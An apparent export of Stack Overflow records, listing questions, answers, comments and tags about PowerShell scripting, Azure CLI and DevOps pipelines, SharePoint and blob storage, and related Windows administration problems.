type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139770224
score: 1
comment on: http://stackoverflow.com/q/79256553
type: QuestionComment
has text: @iRon that's a very good point, didnt consider it at first but definitely makes it easier
type: Comment

http://stackoverflow.com/comment/139994360
type: Comment
has text: *ISE* specifically is "broken". Don't *run* your scripts there, but you can use it to help you write them and then you have to test them on regular powershell. Or switch to use VSCode+Powershell extension, which is the usually suggested alternative.
comment on: http://stackoverflow.com/a/79383869
score: 1
type: AnswerComment

http://stackoverflow.com/q/79375196
score: 1
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79380200
has comment: http://stackoverflow.com/comment/139982384
has comment: http://stackoverflow.com/comment/139978043
has comment: http://stackoverflow.com/comment/139979735
accepted answer: http://stackoverflow.com/a/79380200
type: Question
linked to: http://stackoverflow.com/q/66234723
has title: Escaping issue with az ad app update in Azure DevOps Pipelines
answer count: 1
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/24745868
has comment: http://stackoverflow.com/comment/139982752
tagged with: azure-devops
has comment: http://stackoverflow.com/comment/139979231
has body: I'm trying to update the scopes for a app registration in Entra ID using the CLI authV2 extension but am seeing weird json handling when running from a pipeline in Azure DevOps. The block of code essentially is this: $appId = 'xxxxxx' # get the API app reg details $appRegApi = (az ad app show --id $appId --query 'api' | ConvertFrom-Json) # check for scope $scopes = $appRegApi.oauth2PermissionScopes $scopeId = [guid]::NewGuid().Guid $userImpersonationScope = [ordered]@{ adminConsentDescription = "user impersonation" adminConsentDisplayName = "user_impersonation" id = "$scopeId" isEnabled = "true" type = "User" userConsentDescription = "user impersonation" userConsentDisplayName = "user_impersonation" value = "user_impersonation" } $update = @{ oauth2PermissionScopes = @($scopes; @($userImpersonationScope)) } $updateJson = ConvertTo-Json $update -Depth 4 -Compress $escapedJson = ConvertTo-Json $updateJson az ad app update --id $appId --set api=$escapedJson --debug If I run this locally, in the output from the --debug flag, I can see the payload looks like {"api": {"oauth2PermissionScopes": [{"adminConsentDisplayName": "user_impersonation", "userConsentDisplayName": "user_impersonation", "value": "user_impersonation", "id": "xxxxxx", "type": "User", "isEnabled": "true", "userConsentDescription": "user impersonation", "adminConsentDescription": "user impersonation"}]}} But from my pipeline, it looks like this: {"api": "{\"oauth2PermissionScopes\":[{\"adminConsentDescription\":\"user", "impersonation\",\"adminConsentDisplayName\":\"user_impersonation\",\"id\":\"xxxxxx\",\"isEnabled\":\"true\",\"type\":\"User\",\"userConsentDescription\":\"user": "", "impersonation\",\"userConsentDisplayName\":\"user_impersonation\",\"value\":\"user_impersonation\"}]}": ""} It is running in an AzureCLI@2 task on a windows-latest agent and the powershell version matches the one I'm running locally (7.6.2) as does the CLI version (2.67.0) Anyone have any clue why the json is being handled d…
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139993376
tagged with: azure-cli
has comment: http://stackoverflow.com/comment/139984076

http://stackoverflow.com/comment/140020691
score: 0
type: QuestionComment
type: Comment
has text: I found this old article, [Enum HANDLEs for current process](https://web.archive.org/web/20090605220009/http://www.codeguru.com/forum/archive/index.php/t-176997.html) , but it's written in C++
comment on: http://stackoverflow.com/q/79397722

cloud-foundry
type: Tag
tags question: http://stackoverflow.com/q/79344043
tag name: cloud-foundry

http://stackoverflow.com/comment/140055496
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79415674
has text: If you wanna delete for example `"is"` shouldn't at least one of the commas be included? Tbh, the easiest way to do this would be via split and join... Or it's unclear, do you actually have an array in `$Array = "this","is","a","test"` or is a single string?

http://stackoverflow.com/comment/140019759
score: 0
has text: @MathiasR.Jessen a quick test shows that that has the same problem: when I specify my `$exceptions` parameter for `-notin` instead of `'.zip','.log'`, all files are deleted. I'm thinking @Santiago is correct, and I need to find the correct syntax for specifying an array on the command line.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79397285

http://stackoverflow.com/comment/139852241
has text: So if the target program reads your file correctly, it sounds like `-Encoding Default` is the solution - irrespective of what Notepad shows. BOM-less UTF-8 is only the default in [_PowerShell (Core) 7_](https://github.com/PowerShell/PowerShell/blob/master/README.md), whereas _Windows PowerShell_ uses _varying_ default encodings, depending on the specific cmdlet used, but some, such as `Get-Content` and `Set-Content`, default to the active _ANSI_ code page, which you can query with `([System.Text.Encoding]::Default).WebName` in _Windows PowerShell_. There is no default encoding at the OS level
score: 0
comment on: http://stackoverflow.com/a/79307730
type: AnswerComment
type: Comment

http://stackoverflow.com/a/79380200
accepted answer of: http://stackoverflow.com/q/79375196
type: AcceptedAnswer
score: 2
downvote count: 0
type: Answer
upvote count: 2
has body: Based on your description, I created the following YAML pipeline to conduct tests. Please note that the results obtained when executing the az ad app update command using api=$updateJson and api=$updateJson in this pipeline are consistent with those observed when running the command in a local PowerShell Core environment. pool: vmImage: windows-latest parameters: - name: json default: $escapedJson values: - $updateJson - $escapedJson variables: system.debug: true appId: xxxxx steps: - checkout: none - task: AzureCLI@2 inputs: azureSubscription: 'ARMSvcCnnWIFRootMG' scriptType: 'pscore' scriptLocation: 'inlineScript' inlineScript: | $appId = "$(appId)" # get the API app reg details $appRegApi = (az ad app show --id $appId --query 'api' | ConvertFrom-Json) # check for scope $scopes = $appRegApi.oauth2PermissionScopes $scopeId = [guid]::NewGuid().Guid $userImpersonationScope = [ordered]@{ adminConsentDescription = "user impersonation" adminConsentDisplayName = "user_impersonation" id = "$scopeId" isEnabled = "true" type = "User" userConsentDescription = "user impersonation" userConsentDisplayName = "user_impersonation" value = "user_impersonation" } $update = @{ oauth2PermissionScopes = @($scopes; @($userImpersonationScope)) } $updateJson = ConvertTo-Json $update -Depth 4 -Compress $escapedJson = ConvertTo-Json $updateJson Write-Host '================ Check $updateJson ================' $updateJson Write-Host '================ Check $escapedJson ================' $escapedJson Write-Host '================ Set api permission with ${{ parameters.json }} ================' az ad app update --id $appId --set api=${{ parameters.json }} # --debug As demonstrated in the provided images, the behavior is consistent in both the Azure DevOps pipeline and the local PowerShell Core environment. Therefore, the issue does not appear to be related to Azure Pipelines. Additionally, as outlined in the document of Azure CLI , If the JSON value contains double quotes, you must escape them. …
answers question: http://stackoverflow.com/q/79375196

http://stackoverflow.com/q/79375029
tagged with: sharepoint-online
has comment: http://stackoverflow.com/comment/139988012
has comment: http://stackoverflow.com/comment/139986658
has comment: http://stackoverflow.com/comment/139982713
type: Question
has title: Move files to Azure Storage Container from SPO library though powershell
has comment: http://stackoverflow.com/comment/139980281
has comment: http://stackoverflow.com/comment/139982491
has comment: http://stackoverflow.com/comment/139980798
has body: I have a csv file which have SPO(SharePoint Online) SiteURL, FileURL and Target AzureBlob LOcation like below. CSV File: Sample Data sheet I need to downlaod the each file as per the "FileURl" column and add that file as per target path in the csv file mentioned "Azurebloblocation". Please note that I need to create the directories or sub directores as per the "Azurebloblocation" if not there and add the file. Note: Need to create the folder structure as per the "AzureBlobLocation" in blob storage not as per the SharePoint site folder structure. I am new to azure, appreciate your help, thanks. I did try this $SiteURL = "https://<tenant>/sites/abc" $FileServerRelativeURL ="/sites/abc/Shared%20Documents/abc/filename" $DestinationFolder ="F:\Localpath" Try { #Check if the Destination Folder exists. If not, create the folder for targetfile If(!(Test-Path -Path $DestinationFolder)) { New-Item -ItemType Directory -Path $DestinationFolder | Out-Null Write-host -f Yellow "Created a New Folder '$DestinationFolder'" } #Connect to PnP Online Connect-PnPOnline -Url $SiteURL -ClientId <clientid> -Tenant <tenant> -CertificatePath "<cetificatepath>" #Check if File exists $File = Get-PnPFile -Url $FileServerRelativeURL -AsFileObject If($File -ne $Null) { #Download file from sharepoint online Get-PnPFile -Url $FileServerRelativeURL -Path $DestinationFolder -Filename $File.Name -AsFile -Force Write-host "File Downloaded Successfully!" -f Green } Else { Write-host "Could not Find File at "$FileServerRelativeURL -f Red } } Catch { write-host "Error: $($_.Exception.Message)" -foregroundcolor Red } $account_name="" $account_key="" $context = New-AzStorageContext -StorageAccountName $account_name -StorageAccountKey $account_key $containerName = "" $files = Get-ChildItem -Path $DestinationFolder -File -Recurse foreach ($x in $files) { $blobName = ($x.fullname.Substring($x.PSDrive.Root.Length)).Replace("\", "/") Set-AzStorageBlobContent -File $x.fullname -Container $containerName -Blob $blo…
answer count: 1
tagged with: powershell
has answer: http://stackoverflow.com/a/79376557
tagged with: azure
has comment: http://stackoverflow.com/comment/139982558
score: 0
tagged with: azure-blob-storage
type: UnansweredQuestion

http://stackoverflow.com/a/79256609
score: 3
upvote count: 3
has body: You're essentially asking for what's known as streaming, if you're invoking the scriptblock synchronously it isn't very hard to implement, you will need to subscribe to the DataAdding event from each of the PowerShell.Streams and pass-in your output (success) stream as the as the TOutput. NOTE This example only shows how to set Success and Verbose output, the rest of streams still need to be set. If you need an example on how to set up the rest look here: PSOutputStreams.cs#L38-L60, here: PSOutputData.cs#L16-L38 and here: InvokeParallelCommand.cs#L138-L173. This code will not compile ad-hoc with Add-Type in Windows PowerShell 5.1, you will need to make it C# 5 compatible or precompile it. using System.Threading; using System.Management.Automation; using System; [Cmdlet(VerbsLifecycle.Invoke, "SomeScriptBlockThing")] public sealed class InvokeSomeScriptBlockThing : PSCmdlet, IDisposable { private readonly CancellationTokenSource _src = new(); [Parameter(Mandatory = true, Position = 0)] public ScriptBlock ScriptBlock { get; set; } protected override void EndProcessing() { using PSDataCollection<PSObject> output = []; using PowerShell ps = PowerShell .Create(RunspaceMode.CurrentRunspace) .AddScript(ScriptBlock.ToString(), useLocalScope: true) .AddArgument(_src.Token); ps.Streams.Verbose.DataAdding += (s, e) => WriteVerbose(((VerboseRecord)e.ItemAdded).Message); output.DataAdding += (s, e) => WriteObject(e.ItemAdded); ps.Invoke(null, output); // hook output and null input } protected override void StopProcessing() => _src.Cancel(); public void Dispose() { _src.Dispose(); GC.SuppressFinalize(this); } }
has comment: http://stackoverflow.com/comment/139759401
has comment: http://stackoverflow.com/comment/139759225
downvote count: 0
answers question: http://stackoverflow.com/q/79256553
type: Answer
has comment: http://stackoverflow.com/comment/139759228

multidimensional-array
tags question: http://stackoverflow.com/q/79330030
type: Tag
tag name: multidimensional-array
tags question: http://stackoverflow.com/q/79455801

http://stackoverflow.com/comment/139880263
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79297824
has text: Ensure that the service connection you're using in the Azure DevOps pipeline has the correct permissions. The service principal associated with the service connection must have the AcrPull role assigned to the ACR. Also, verify that it is scoped correctly to the Azure subscription and resource group where the ACR is located.

http://stackoverflow.com/a/79367318
downvote count: 0
answers question: http://stackoverflow.com/q/79364993
accepted answer of: http://stackoverflow.com/q/79364993
score: 1
upvote count: 1
has body: There's docker start, see 'How restart a stopped docker container' for the options of the command along the lines of docker start container_name.
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/a/79390025
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/140005622
answers question: http://stackoverflow.com/q/79389610
has body: A quick glance shows, that kafka-storage.bat is a poor quality batch file with many unstable code patterns. In your case, probably it fails in the :concat function, when it tries to append to the CLASSPATH variable and exceeds the maximum of 8191 characters. You could add a simple echo %CLASSPATH% to this function to check the growth. If this is the problem, don't try to fix the error, but check why the line is getting so long. Some common reasons are: The classpath contains mulitple times the same paths Your project is stored in a very deep path Some path components are using special characters like !, ^ or spaces (the kafka.bat does not handle them correctly) The classpath variable will not reset to the default (empty value) until a new cmd.exe instance was created
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139791891
type: Comment
has text: ok, so I have to release the COM object after usage? But I think it doesen't affect my main problem, right? Even the first try after an restart of the server throws the exception.
score: 0
comment on: http://stackoverflow.com/q/79268940
type: QuestionComment

http://stackoverflow.com/q/79344857
type: Question
answer count: 1
has body: Consider the following contrived PowerShell function (which happens to be part of a module, but that may not be relevant). function Get-Thing { [CmdletBinding()] param( [string]$Profile ) # do things with $Profile } PSScriptAnalyzer correctly produces a PSAvoidAssignmentToAutomaticVariable warning regarding the conflict with the $Profile automatic variable. So within the context of the function (or is it the whole module?), access to the "real" version is no longer accessible unless you explicitly get it with something like $global:Profile. But assuming I have no need for the real version in this function or I'm okay with using the global prefix if I should need it, are there any other issues I need to be aware of if I simply suppress the warning like this? function Get-Thing { [CmdletBinding()] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidAssignmentToAutomaticVariable','')] param( [string]$Profile ) # do things with $Profile } I briefly considered changing the parameter name to prevent the conflict and adding [Alias('Profile')]. But I don't like the fact that the help view only shows the changed parameter name. Is there any way to still specify the parameter name as -Profile for users but have the internal variable name be different?
has title: How to deal with PowerShell function parameters that conflict with automatic variable names
score: 0
tagged with: powershell
has answer: http://stackoverflow.com/a/79344966
type: UnansweredQuestion

http://stackoverflow.com/comment/139792815
score: 0
has text: This was one of your problems and I have told you what was wrong in your code regarding the memory usage.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79268940

http://stackoverflow.com/q/79353181
answer count: 1
type: AnsweredQuestion
tagged with: azure-keyvault
has body: Given a windows container running inside Azure Kubernetes Service (AKS). How do I get a certificate (PFX) that I've stored in Azure Key Vault (AKV) stored in the local certificate store of the container?
upvote count: 0
has title: How do I get a certificate (public and private key) into a windows container in AKS?
tagged with: cryptography
favorite count: 0
score: -1
accepted answer: http://stackoverflow.com/a/79353182
type: Question
has answer: http://stackoverflow.com/a/79353182
tagged with: kubernetes
tagged with: powershell
downvote count: 1
tagged with: azure-aks

http://stackoverflow.com/a/79394066
has comment: http://stackoverflow.com/comment/140013271
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/79392142
has comment: http://stackoverflow.com/comment/140013182
accepted answer of: http://stackoverflow.com/q/79392142
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/140013260
downvote count: 0
type: Answer
has body: If you want to be able to catch CTRL+C as an option you can set TreatControlCAsInput to true however, using $HOST.UI.PromptForChoice is no longer an option if going this route. You can use ReadKey in this case, here a simple example of how your code should look: [console]::TreatControlCAsInput = $true while ($true) { Write-Host 'Options: [Y / N]' switch ([System.Console]::ReadKey($true)) { { $_.KeyChar -eq 'Y' } { Write-Host 'Y, do stuff...' } { $_.KeyChar -eq 'N' } { Write-Host 'Quitting script...'; return } { $_.Modifiers -eq 4 -and $_.Key -eq 67 } { Write-Host 'Ctrl+C... do something' } default { Write-Host 'Invalid choice' } } } Another option that wouldn't allow the user to CTRL+C during the prompt, would be to use a MessageBox from Windows Forms. You can also combine this approach with TreatControlCAsInput set to true if you also want them to avoid being able to terminate the script on one of the switch options code paths. Add-Type -AssemblyName System.Windows.Forms while ($true) { $result = [System.Windows.Forms.MessageBox]::Show( 'Do stuff?', 'Doing stuff', [System.Windows.Forms.MessageBoxButtons]::YesNo, # Probably just 'OK' is better here [System.Windows.Forms.MessageBoxIcon]::Question) switch ($result) { ([System.Windows.Forms.DialogResult]::Yes) { Write-Host 'Do stuff' } ([System.Windows.Forms.DialogResult]::No) { Write-Host 'Quitting...'; return } } }
has comment: http://stackoverflow.com/comment/140013177

http://stackoverflow.com/comment/140027267
score: 0
type: AnswerComment
has text: @user66001, if you define the following variables with sample values first, `$Path = 'notepad.exe'` and `$Installs = @( @{ Path = "$env:WinDir\system.ini"} )`, and then run the code in this answer as-is, you'll see that it works as advertised, in both PowerShell editions.
type: Comment
comment on: http://stackoverflow.com/a/79397850

http://stackoverflow.com/a/79385422
has comment: http://stackoverflow.com/comment/139997219
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/79385371
has body: Does $Installs = $Installs | Sort-Object { $_[1] } work per chance?
upvote count: 2
answers question: http://stackoverflow.com/q/79385371

http://stackoverflow.com/comment/139880204
comment on: http://stackoverflow.com/q/79297824
has text: Double-check that the service connection is properly configured with the correct Azure subscription, and that the service principal (or managed identity) can access the ACR.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139869128
comment on: http://stackoverflow.com/q/79317800
has text: Looks like you should be filtering for ```"*--profile-directory=`"$profile*"``` (don't skip the quotation mark after the command line switch)
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139813622
type: Comment
comment on: http://stackoverflow.com/q/79286482
score: 1
has text: That said, you shouldn't use short names nowadays. [Windows have stopped generating short names for years](https://superuser.com/a/1505235/241386)
type: QuestionComment

http://stackoverflow.com/a/79276760
downvote count: 0
type: Answer
has body: Where is this alternate syntax documented? In 6.18 .NET Conversion, you can create an object by casting when one of the conversion rules are met. A few of them, the most commonly known: Constructors: If the destination type has a constructor taking a single argument whose type is that of the source type, that constructor is called to perform the conversion. class Foo { [string] $FooProp Foo([string] $foo) { $this.FooProp = $foo } } [Foo] 'OK!' Parse Method: If the source type is string and the destination type has a method called Parse, that method is called to perform the conversion. class Foo { [string] $FooProp static [Foo] Parse([string] $foo) { return [Foo]@{ FooProp = $foo } } } [Foo] 'OK!' Explicit Cast Operator: If the source type has an explicit cast operator that converts to the destination type, that operator is called to perform the conversion. If the destination type has an explicit cast operator that converts from the source type, that operator is called to perform the conversion. class Foo { [string] $FooProp static [Foo] op_Explicit([string] $foo) { return [Foo]@{ FooProp = $foo } } } [Foo] 'OK!' How can you pass multiple arguments using this alternate syntax and call a specific constructor overload? You cannot as-is, you can work your way around it using a PSTypeConverter, see bottom section of this answer for details. The closer could be in 5.1 when they would allow you to instantiate using a hashtable literal: class Foo { [string] $FooProp [string] $BarProp } [Foo]@{ FooProp = 'OK!'; BarProp = '123' } And, this one added in 5.0, the ::new intrinsic member: class Foo { [string] $FooProp [string] $BarProp Foo([string] $foo, [string] $bar) { $this.FooProp, $this.BarProp = $foo, $bar } } [Foo]::new('OK!', '123') Or perhaps reflection (not even close to what you're looking for, also not even sure if this works in 4.0). [Foo].GetConstructor(@([string], [string])).Invoke(@('OK!', '123')) Using a PSTypeAdapter as workaround This simplified example demos h…
answers question: http://stackoverflow.com/q/79276698
accepted answer of: http://stackoverflow.com/q/79276698
score: 5
upvote count: 5
type: AcceptedAnswer

http://stackoverflow.com/a/79283746
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/79279207
type: Answer
has comment: http://stackoverflow.com/comment/139946330
accepted answer of: http://stackoverflow.com/q/79279207
has comment: http://stackoverflow.com/comment/139911810
score: 1
upvote count: 1
has body: Note that: AzureAD, AzureADPreview modules are deprecated, you need make use of Microsoft Graph Module or any other modules to perform the action. Refer this blog Hence as a workaround, I used Microsoft Graph API query to upload custom policy like below: I uploaded the policy in the GitHub repository: And used the below yml file to upload the policy: name: Azure AD B2C Policy Upload on: push: branches: - main jobs: install-and-upload: runs-on: windows-latest # Use a Windows runner steps: - name: Checkout code uses: actions/checkout@v3 # Checkout your repository code to access the PowerShell script - name: Azure login run: | # Log in to Azure using the service principal credentials directly az login --service-principal --username "B2CAppClientID" --password "B2CAppClientSecret" --tenant "B2CTenantID" --allow-no-subscriptions # Get the access token for Microsoft Graph API access_token=$(az account get-access-token --resource-type ms-graph --query accessToken -o tsv | tr -d '\r') # Define the path to your policy file policy_file="B2C_1A_TESTPOLICY.xml" # Upload the policy file to Azure AD B2C az rest --method post \ --uri "https://graph.microsoft.com/beta/trustFramework/policies" \ --headers "Content-Type=application/xml" "Authorization=Bearer $access_token" \ --body "@$policy_file" shell: bash The policy uploaded successfully: Also make sure to grant Policy.ReadWrite.TrustFramework API permission: Refer this MsDoc, to perform different operations on custom policy. Otherwise, refer Deploy custom policies with GitHub Actions - Azure AD B2C | Microsoft to know more in detail. You can also make use of direct PowerShell commands like New-MgBetaTrustFrameworkPolicy, Update-MgBetaTrustFrameworkPolicy to create, update respectively. Refer this GitHub blog

http://stackoverflow.com/comment/139975688
has text: What are you actually trying to do? EFS is an NTFS feature that is transparent to applications. The actual blocks are encrypted using the creator's public key by the OS itself. You don't need to decrypt the blocks to find out who the creator is. [File.Encrypt()](https://learn.microsoft.com/en-us/dotnet/api/system.io.file.encrypt?view=net-9.0) doesn't encrypt the file itself, it calls the Win32 API function that tells the OS to encrypt the file using the current user's public key. .NET Framework had almost no NTFS-specific methods
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79373919
score: 0

http://stackoverflow.com/comment/139978043
type: QuestionComment
type: Comment
has text: It look like the root folder is different. See https://stackoverflow.com/questions/66234723/whats-should-i-specify-for-the-rootdirectory-of-an-azure-pipeline-for-a-static
score: 0
comment on: http://stackoverflow.com/q/79375196

http://stackoverflow.com/a/79356494
upvote count: 1
has comment: http://stackoverflow.com/comment/139946858
score: 1
answers question: http://stackoverflow.com/q/79354709
has body: Judging by this blog post, git diff --check produces output lines such as the following: demo.txt:3: leftover conflict marker Therefore, adapt your solution attempt as follows: git diff --check | ForEach-Object { git diff $_.Split(':')[0] } That is, split each output line into tokens by :, and use the first token as the file name to pass to git diff.
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79354709
has comment: http://stackoverflow.com/comment/139947105
type: Answer

powershell-7.0
tags question: http://stackoverflow.com/q/79344254
tag name: powershell-7.0
type: Tag
tags question: http://stackoverflow.com/q/79508299
tags question: http://stackoverflow.com/q/79498463
tags question: http://stackoverflow.com/q/79526093

http://stackoverflow.com/a/79245869
has body: Unfortunately, as of PowerShell (Core) 7 v7.5.0, Stop-Process invariably performs forceful termination of the target process, which doesn't give the process a chance to clean up, which in your case prevents the clean block from running. It is unclear whether Stop-Process will ever alternatively support requesting graceful termination, by opt-in, via a potential future -TryGraceful switch, as discussed in the GitHub issue you link to, GitHub issue #13664; as you note, the discussion has stalled, unfortunately. Graceful termination requires calling the System.Diagnostics.Process.CloseMainWindow() .NET method or calling taskkill.exe without /F, but note the following constraints: Only GUI applications and console applications that directly own a console window can be targeted this way. Targeted applications must be designed to handle such cooperative termination requests: (a) GUI-subsystem applications must perform any cleanup in response to receiving a WM_CLOSE message. (b) Console-subsystem applications - if they directly own a console (conhost.exe) window - must register for and handle CTRL_CLOSE_EVENT console events via the SetConsoleCtrlHandler WinAPI function. Note that this implies that console-subsystem applications that do not own a console window can not generally be terminated gracefully: Unfortunately, this implies that console applications running in Windows Terminal can not be gracefully terminated this way. For applications running in regular console windows (those created by the legacy console host, conhost.exe), this applies to console applications that were launched by other console applications, notably from shells (it is only the process that initially caused the creation of the console that owns it). Other processes that cannot be terminated gracefully are those running as Windows services - use dedicated commands such as Stop-Service for that. Targeting ineligible processes with taskkill.exe (without /f) results in the following error message, ref…
has comment: http://stackoverflow.com/comment/139752993
answers question: http://stackoverflow.com/q/79245097
has comment: http://stackoverflow.com/comment/139746349
downvote count: 0
has comment: http://stackoverflow.com/comment/139752989
type: Answer
has comment: http://stackoverflow.com/comment/139740419
has comment: http://stackoverflow.com/comment/139740372
has comment: http://stackoverflow.com/comment/139740725
upvote count: 1
score: 1

http://stackoverflow.com/comment/139815371
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79286923
has text: If `mytest.exe` writes to stderr, try: `.\mytest.exe .\myinputfile *>&1 |Tee-Object -FilePath myoutput.txt`
score: 2

http://stackoverflow.com/q/79245262
tagged with: azure-pipelines
tagged with: powershell
type: AnsweredQuestion
tagged with: azure-pipelines-yaml
has answer: http://stackoverflow.com/a/79245269
tagged with: azure-powershell
score: 0
possible better answer: http://stackoverflow.com/a/79245269
answer count: 2
has answer: http://stackoverflow.com/a/79246128
accepted answer: http://stackoverflow.com/a/79246128
type: Question
has body: I am new to yaml file, I am facing issues. error : "The term 'devkey' is not recognized as a name of a cmdlet, function, script file, or operable program." I have variable group called devVariables, that has storage account name, azure subscription variables stored.. When I try to use secret value using AzureVault@2 it does not pick up the value. parameters: - name: env displayName: Enviornment type: string default: dev values: -dev -qa -prod variables: -group: ${{format('{0}Variables', parameters.env}} - task: AzureKeyVault@2 inputs: azureSubscription: $(azureSubscription) KeyVaultName: 'abc-$(env)' SecretFilter: 'secret-$(env)' RunAsPreJob: false - task: AzurePowershell@5 inputs: azureSubscription : $(azureSubscription) ScriptType: 'InlineSciprt' Inline: | $devkey = $(secret-$(env)) $storageContext = New-AzStorageContext -StorageAccountName $(StorageAccountName) -StorageAccountKey $(devkey) ATTEMPTS: instead of defining devKey, use directly did not work. $storageContext = New-AzStorageContext -StorageAccountName $(StorageAccountName) -StorageAccountKey $(secret-$(env)) Any Help would be appreciated....!
has title: Powershell how to use azure vault secret value using yaml
tagged with: azure-devops

http://stackoverflow.com/comment/139994371
type: Comment
comment on: http://stackoverflow.com/a/79383869
score: 0
type: AnswerComment
has text: But the code WORKS in the ISE, and does NOT in the console. Which to me says the console is broken. For what it is worth I do work in VSCode, but my app runs in the console. So when the code wasn't working I tried in the ISE because sometimes that helps to find what needs to be loaded to make things work.

http://stackoverflow.com/comment/139847248
score: 0
comment on: http://stackoverflow.com/q/79302651
has text: Ok, thank you. I will think to change it. :D
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140014094
comment on: http://stackoverflow.com/a/79394307
score: 1
type: AnswerComment
has text: Thanks. I will ask if I am allowed to install it. But in my company helpdesk folk coding seems to be frowned upon, so drawing attention to my doing so might lead to a GPO lock down of us running scripts :(
type: Comment

http://stackoverflow.com/a/79365242
type: Answer
has body: First, do notuse WMI cmdlets: they have been obsolete since Powershell 3 and have been removed from Powershell 6+. Use CIM cmdlets instead: it will make your code forward-compatible(and still backward compatible down to Powershell 3) Get-CimInstance -ClassName Win32_ComputerSystem will return the same values as your WMI cmdlet. Also, you do not need to call Get-ComputerInfo: its CsSystemFamily property is derived from the SystemFamily property of Get-CimInstance -ClassName Win32_ComputerSystem! (Get-ComputerInfo basically just calls multiple Get-CimInstance and compiles them together, to simplify it to an extreme degree) So you can simply use $VariableNameYouDecide = (Get-CimInstance -ClassName Win32_ComputerSystem).SystemFamily Also: using Get-CimInstance -ClassName Win32_ComputerSystem | Format-List -Property * you can look at all the properties not just those automatically shown
answers question: http://stackoverflow.com/q/79365189
type: AcceptedAnswer
score: 2
upvote count: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79365189

http://stackoverflow.com/q/79348341
tagged with: ntfs
has body: The command Get-NTFSAccess output displays column "Applies to", how can I read this value to a variable? The command output is added to a variable, but I cannot read the Applies to column, when I try $variable."Applies to" nothing is returned. I tried with single quotes and curly braces, but no values are returned. $Object = "C:\temp\testfolder" $acl = Get-NTFSAccess -Path $Object # Loop through each access rule in the ACL foreach ($record in $acl) { # Create a custom object to store the details $result = [PSCustomObject]@{ FilePath = $Object Principal = $record.Account Type = $record.AccessControlType Access = $record.AccessRights Inherited = $record.IsInherited InheritedFrom = $record.InheritedFrom Scope = $record."Applies to" } # Add the result to the array $results += $result }
tagged with: powershell
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/139931815
has comment: http://stackoverflow.com/comment/139927113
linked to: http://stackoverflow.com/q/60029045
type: Question
has title: Powershell Get-NTFSAccess Applies to
has comment: http://stackoverflow.com/comment/139926994
answer count: 0
linked to: http://stackoverflow.com/q/60708578

http://stackoverflow.com/comment/139996797
score: 0
type: QuestionComment
has text: You might add how you made $pods to the question.
type: Comment
comment on: http://stackoverflow.com/q/79384352

http://stackoverflow.com/comment/139826529
type: QuestionComment
comment on: http://stackoverflow.com/q/79293130
type: Comment
has text: I quess you actually looking for a **static** method that might be used by multiple instances, see e.g.https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_classes#example-3---class-with-static-members
score: 1

http://stackoverflow.com/a/79362468
has comment: http://stackoverflow.com/comment/139957979
has comment: http://stackoverflow.com/comment/139959580
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139957973
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/139957612
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79362037
answers question: http://stackoverflow.com/q/79362037
type: Answer
has body: You need to create a new Runbook using Runtime 5.1. Funny you should mention this, I just so happened to be researching this yesterday, only to come into work this morning to find a brand new search result! I am posting this less than 10 minutes after figuring out the fix. Anyways, I did the exact same thing you did, except I troubleshot by using "Get-Module -ListAvailable" in a runtime 5.1 and a 7.2 runbook. The ExchangeOnlineManagement module did not show in 7.2 but did in 5.1. After confirming the module was showing in the 5.1 runbook, I then tested the actual "Connect-ExchangeOnline" cmd and was able to see that it connected.

http://stackoverflow.com/comment/139801141
has text: The version of a given assembly that is loaded _first_ into a PowerShell session "wins" - unfortunately, there is no direct support for side-by-side loading of assemblies. Depending on the use case, solutions may be possible, but they are far from trivial - see the linked duplicate and [Resolving PowerShell module assembly dependency conflicts](https://docs.microsoft.com/en-us/powershell/scripting/dev-cross-plat/resolving-dependency-conflicts).
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79279210
score: 0

http://stackoverflow.com/comment/139946330
score: 0
comment on: http://stackoverflow.com/a/79283746
type: AnswerComment
has text: Yeah please create a new question and paste the link here:)
type: Comment

http://stackoverflow.com/comment/140004917
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79389666
has text: Why not let PowerShell resolve the path for you? `--relationships=(Convert-Path "import/edge*.txt")`
type: QuestionComment

http://stackoverflow.com/comment/139826034
type: Comment
score: 0
has text: I am not behind a computer so I can't give you a full answer now but something doesn't add up as the two methods (`func1` and `funct2`) return nothing (`[void]`) and you trying to `return $this.func1()`) in`getfunc()`. I guess you want to replace `[void] funct1...` with `[string] funct1...` and `write-host` with `return`.
comment on: http://stackoverflow.com/q/79293130
type: QuestionComment

http://stackoverflow.com/comment/139831434
type: Comment
comment on: http://stackoverflow.com/q/79290410
score: 0
has text: Yes correct, I want to copy from /Logs to ./UploadLogs/Logs (the naming was confusing indeed and I have adjusted that)
type: QuestionComment

http://stackoverflow.com/comment/140061530
comment on: http://stackoverflow.com/q/79416406
score: 0
has text: Noted. I will try and serialize. Can you please provide the actual code for me to copy and paste @iron
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139958476
